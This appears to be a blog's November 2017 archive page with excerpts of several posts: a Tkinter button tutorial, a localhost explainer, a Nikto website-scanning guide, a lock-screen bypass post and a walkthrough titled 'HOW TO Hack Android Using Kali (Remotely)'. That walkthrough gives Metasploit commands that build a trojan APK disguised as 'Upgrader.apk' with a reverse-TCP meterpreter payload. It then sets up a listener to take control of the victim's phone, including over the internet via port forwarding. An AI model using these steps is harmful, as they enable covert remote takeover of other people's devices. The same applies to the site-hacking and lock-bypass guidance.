Posts

Showing posts from November, 2017

tkinter GUI full

Image
Tk button with onClick event To create a Tkinter window with a button use the example below.  The program enters mainloop()  which wait for events (user actions). We define the button which has a callback to the function callback().   master is the root window, the window where your button will appear in. from Tkinter import *   master = Tk ( )   def callback ( ) : print "click!"   b = Button ( master , text = "OK" , command = callback ) b. pack ( )   mainloop ( ) tk button Tk image button If you want an image button, use the PhotoImage class. We set the size of the window and the miminum size with the functions minsize() and geometry(). Example: from Tkinter import *   master = Tk ( ) master. minsize ( 300 , 100 ) master. geometry ( "320x100" )   def callback ( ) : print "click!"     photo = PhotoImage ( file = "add.png" ) b = Button ( master , image = photo , command = callback , he...

what is localhost?

In computer networking , localhost is a hostname that means this computer . It is used to access the network services that are running on the host via its loopback network interface. Using the loopback interface bypasses any local network interface hardware. The local loopback mechanism is useful for testing software during development, independently of any networking configurations. For example, if a computer has been configured to provide a website , directing a locally running web browser to http://localhost may display its home page. On most computer systems, localhost resolves to the IP address 127.0.0.1, which is the most commonly used IPv4 loopback address, and to the IPv6 loopback address ::1. [1] The name localhost is also a reserved top-level domain name , set aside to avoid confusion with the definition as a hostname. [2] The IETF standards restrict domain name registrars from assigning the name localhost in registration procedures, such as for sec...

HOW TO Hack Android Using Kali (Remotely)

Image
Step 1 Fire-Up Kali: Open a terminal, and make a Trojan .apk You can do this by typing : msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/ Upgrader.apk (replace LHOST with your own IP) You can also hack android on WAN i.e. through Interet by using your Public/External IP in the LHOST and by port forwarding (ask me about port forwarding if you have problems in the comment section) Step 2 Open Another Terminal: Open another terminal until the file is being produced. Load metasploit console, by typing : msfconsole Step 3  Set-Up a Listener: After it loads(it will take time), load the multi-handler exploit by typing : use exploit/multi/handler Set up a (reverse) payload by typing : set payload android/meterpreter/reverse_tcp To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external) Step 4 Exploit! At last type: exploit to start the...

How to Find Vulnerabilities for Any Website Using Nikto?

Image
There are a number of tools and applications to find vulnerabilities in websites, but one of the simplest (and one of my favorites) is nikto . This small and simple tool examines a website and reports back to you the potential vulnerabilities that it found that you could use to exploit or hack the site. In addition, it’s one of the most widely used website vulnerabilities tools in the industry and in many circles considered the industry standard. Although this tool is extremely useful and effective, it is NOT stealthy. Any website with an IDS or other security measures in place will detect that you are scanning it. Originally designed for security testing, it was never meant to be stealthy. Step 1 Fire Up Kali & Open Nikto Let’s fire up Kali and get started with nikto. Once we have Kali up and running, go to Kali Linux -> Vulnerability Analysis -> Misc Scanners -> nikto , like in the screenshot below. Image via wonderhowto.com Although there are many opti...

7 Ways to Bypass Android’s Secured Lock Screen

Image
Method 1 Use Android Device Manager As counterintuitive as it may sound, start by clicking the “Lock” button once Android Device Manager gets a fix on your device. If the service is having trouble finding your device, click your browser’s refresh button a few times, and it should make the connection within 5 attempts if your phone is compatible. After clicking the “Lock” button, you’ll be prompted to enter a new password, which will replace the pattern, PIN, or password that you forgot. Type the new password twice to confirm your choice, then click the “Lock” button. From here, it can take up to 5 minutes for the password to change over, but when it does, you should be able to enter the new password to unlock your device. Method 2 Use Samsung’s ‘Find My Mobile’ Service If you have a Samsung device, a similar service called Find My Mobile should be the first thing you try. Start by heading to this link from any web browser, then log into your Samsung account. If you ...